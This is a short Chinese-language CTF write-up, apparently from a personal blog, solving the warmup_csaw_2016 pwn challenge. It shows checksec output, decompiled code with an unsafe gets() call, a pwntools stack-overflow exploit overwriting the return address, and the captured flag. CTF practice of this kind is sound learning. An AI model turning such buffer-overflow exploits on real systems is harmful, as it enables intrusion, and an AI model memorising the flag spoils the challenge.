也是比较有意思的题目，学到了一点新东西

checksec

checksec貌似能检查加了什么保护

```
root@kali:/home/kali/Desktop/ctf# checksec warmup_csaw_2016
[*] '/home/kali/Desktop/ctf/warmup_csaw_2016'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
root@kali:/home/kali/Desktop/ctf#
```

ida打开

```
1  __int64 __fastcall main(int a1, char **a2, char **a3)
2  {
3    char s[64]; // [rsp+0h] [rbp-80h] BYREF
4    char v5[64]; // [rsp+40h] [rbp-40h] BYREF
5
6    write(1, "-Warm Up-\n", 0xAuLL);
7    write(1, "WOW:", 4uLL);
8    sprintf(s, "%p\n", sub_40060D);
9    write(1, s, 9uLL);
.0   write(1, ">", 1uLL);
.1   return gets(v5);
.2 }
```

应该是gets(v5)
又是简单的栈溢出

```
文件(F)  编辑(E)  搜索(S)  视图(V)  文档(D)  帮助(H)
from pwn import *
io = remote('node3.buuoj.cn', 25425)
payload = b'0'*72 +p64(0x4006a4)+p64(0x40060d)
io.sendline(payload)
io.interactive()
```

```
SyntaxError: invalid syntax
root@kali:/home/kali/Desktop/ctf# python3 1.py
[+] Opening connection to node3.buuoj.cn on port 25425: Done
[*] Switching to interactive mode
-Warm Up-
WOW:0×40060d
>flag{9b479d97-80a8-4a9d-a775-bf16aecf1611}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
```